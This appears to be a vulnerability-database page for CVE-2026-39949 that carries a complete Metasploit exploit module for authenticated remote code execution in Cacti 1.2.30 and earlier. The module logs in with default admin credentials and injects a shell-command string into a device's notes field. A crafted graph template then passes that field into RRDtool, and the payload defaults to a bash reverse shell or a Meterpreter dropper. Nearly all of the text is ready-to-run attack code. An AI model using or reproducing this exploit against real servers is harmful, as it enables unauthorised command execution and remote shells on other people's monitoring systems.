| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| Exploit for CVE-2026-39949 | 16 Jun 202620:48 | – | githubexploit | |
| CVE-2026-39949 | 16 Jun 202600:00 | – | alpinelinux | |
| The vulnerability of the rrd_substitute_host_query_data() function in the Cacti network monitoring software allows a hacker to execute arbitrary code. | 29 Jun 202600:00 | – | bdu_fstec | |
| CVE-2026-39949 | 16 Jun 202600:00 | – | cve | |
| PT-2026-50133 | 16 Jun 202600:00 | – | ptsecurity |
==================================================================================================================================
| # Title : Cacti ≤ 1.2.30 Authenticated RCE via Host Variable Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.cacti.net/ |
==================================================================================================================================
[+] Summary : This is a Metasploit exploit module targeting Cacti (≤ 1.2.30 and 1.3.0-dev) for authenticated remote code execution (RCE).
[+] Payload :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Cacti Authenticated Remote Code Execution via Host Variable Injection',
'Description' => %q{
This module exploits an OS command injection vulnerability in Cacti
(versions ≤ 1.2.30 and 1.3.0-dev). Any authenticated user with device
and graph template creation privileges can execute arbitrary commands
on the underlying server. The flaw exists because user-controlled host
metadata fields (specifically the device notes field) are substituted
into RRDtool command-line arguments via Cacti's variable replacement
engine without any sanitization or escaping.
},
'License' => MSF_LICENSE,
'Author' =>['indoushka'],
'References' =>
[
['CVE', '2026-39949'],
['URL', 'https://github.com/rapid7/metasploit-framework']
],
'DisclosureDate' => '2026-06-18',
'Platform' => %w[linux unix],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
'Targets' =>
[
['Unix/Linux (In-Memory Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
['Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
'Type' => :dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisablePayloadHandler' => false,
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 2
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to Cacti installation', '/cacti/']),
OptString.new('USERNAME', [true, 'Username for Cacti', 'admin']),
OptString.new('PASSWORD', [true, 'Password for Cacti', 'admin'])
])
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def base_uri
normalize_uri(datastore['TARGETURI'])
end
def check
print_status("Checking Cacti version...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'index.php')
})
unless res
return Exploit::CheckCode::Unknown('Target did not respond to check.')
end
if res.body =~ /Cacti.*?v?([0-9]+\.[0-9]+\.[0-9]+)/
version = $1
print_status("Detected Cacti version: #{version}")
if version <= '1.2.30'
return Exploit::CheckCode::Appears("Vulnerable version #{version} detected")
elsif version == '1.3.0-dev'
return Exploit::CheckCode::Appears("Vulnerable development version #{version} detected")
else
return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
end
end
Exploit::CheckCode::Detected
end
def get_csrf_token(uri, params = nil)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => params
})
unless res
fail_with(Failure::Unreachable, 'Failed to retrieve CSRF token')
end
if res.body =~ /name=["']__csrf_magic["'][^>]*value=["']([^"']+)["']/
return $1
end
fail_with(Failure::UnexpectedReply, 'Could not find CSRF token')
end
def login
print_status("Authenticating as #{username}...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'index.php'))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'index.php'),
'vars_post' => {
'action' => 'login',
'login_username' => username,
'login_password' => password,
'__csrf_magic' => csrf_token
}
})
unless res
fail_with(Failure::Unreachable, 'Login request failed')
end
if res.headers['Set-Cookie'] =~ /Cacti/
print_good("Login successful")
return true
end
fail_with(Failure::NoAccess, 'Login failed - check credentials')
end
def create_device(notes)
print_status("Creating device with malicious notes...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'host.php'), { 'action' => 'edit' })
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'host.php'),
'vars_post' => {
'action' => 'save',
'save_component_host' => '1',
'reindex_method' => '1',
'id' => '0',
'host_template_id' => '0',
'description' => 'poc',
'hostname' => '127.0.0.1',
'location' => '',
'poller_id' => '1',
'site_id' => '1',
'device_threads' => '1',
'availability_method' => '0',
'snmp_options' => '0',
'ping_method' => '1',
'ping_port' => '23',
'ping_timeout' => '400',
'ping_retries' => '1',
'snmp_version' => '2',
'snmp_community' => 'public',
'snmp_security_level' => 'authPriv',
'snmp_auth_protocol' => 'MD5',
'snmp_username' => '',
'snmp_password' => '',
'snmp_password_confirm' => '',
'snmp_priv_protocol' => 'DES',
'snmp_priv_passphrase' => '',
'snmp_priv_passphrase_confirm' => '',
'snmp_context' => '',
'snmp_engine_id' => '',
'snmp_port' => '161',
'snmp_timeout' => '500',
'snmp_retries' => '3',
'max_oids' => '10',
'bulk_walk_size' => '0',
'external_id' => '',
'notes' => notes,
'__csrf_magic' => csrf_token
}
})
unless res
fail_with(Failure::Unreachable, 'Failed to create device')
end
if res.headers['Location'] =~ /[?&]id=(\d+)/
host_id = $1
print_good("Device created with ID: #{host_id}")
return host_id
end
fail_with(Failure::UnexpectedReply, 'Could not extract host ID')
end
def create_template
print_status("Creating graph template...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'graph_templates.php'),
{ 'action' => 'template_edit' })
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'graph_templates.php'),
'vars_post' => {
'action' => 'save',
'save_component_template' => '1',
'graph_template_id' => '0',
'graph_template_graph_id' => '0',
'name' => 'poc',
'class' => 'unassigned',
'version' => '',
'title' => 'poc',
'vertical_label' => '',
'image_format_id' => '1',
'height' => '200',
'width' => '700',
'base_value' => '1000',
'auto_scale_opts' => '2',
'upper_limit' => '100',
'lower_limit' => '0',
'unit_value' => '',
'unit_exponent_value' => '',
'unit_length' => '',
'right_axis' => '',
'right_axis_label' => '|host_notes|',
'right_axis_format' => '0',
'right_axis_formatter' => '0',
'left_axis_format' => '0',
'left_axis_formatter' => '0',
'tab_width' => '',
'legend_position' => '0',
'legend_direction' => '0',
'rrdtool_version' => '1.7.2',
'__csrf_magic' => csrf_token
}
})
unless res
fail_with(Failure::Unreachable, 'Failed to create template')
end
if res.headers['Location'] =~ /[?&]id=(\d+)/
template_id = $1
print_good("Template created with ID: #{template_id}")
return template_id
end
fail_with(Failure::UnexpectedReply, 'Could not extract template ID')
end
def create_graph(host_id, template_id)
print_status("Creating graph...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'graphs_new.php'),
{ 'reset' => 'true', 'host_id' => host_id })
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'graphs_new.php'),
'vars_post' => {
'save_component_graph' => '1',
'cg_g' => template_id,
'host_id' => host_id.to_s,
'host_template_id' => '0',
'action' => 'save',
'graph_type' => '-2',
'rows' => '-1',
'__csrf_magic' => csrf_token
}
})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'host.php'),
'vars_get' => {
'action' => 'edit',
'id' => host_id
}
})
unless res
fail_with(Failure::Unreachable, 'Failed to retrieve graph ID')
end
if res.body =~ /graph_edit&(?:amp;)?id=(\d+)/
graph_id = $1
print_good("Graph created with ID: #{graph_id}")
return graph_id
end
fail_with(Failure::UnexpectedReply, 'Could not extract graph ID')
end
def trigger_graph(graph_id)
print_status("Triggering graph to execute payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'graph_image.php'),
'vars_get' => {
'local_graph_id' => graph_id,
'rra_id' => '0',
'graph_start' => '-3600',
'graph_end' => '0'
}
})
rescue => e
print_debug("Trigger request completed (expected error for background execution)")
end
def execute_command(cmd, opts = {})
payload = "'; (#{cmd} &); '"
host_id = create_device(payload)
template_id = create_template
graph_id = create_graph(host_id, template_id)
trigger_graph(graph_id)
print_status("Waiting for payload to execute...")
sleep(2)
end
def exploit
login
case target['Type']
when :cmd
print_status("Executing command payload...")
execute_command(payload.raw)
when :dropper
print_status("Executing dropper payload...")
execute_cmdstager(linemax: 2000)
end
print_good("Exploit completed!")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation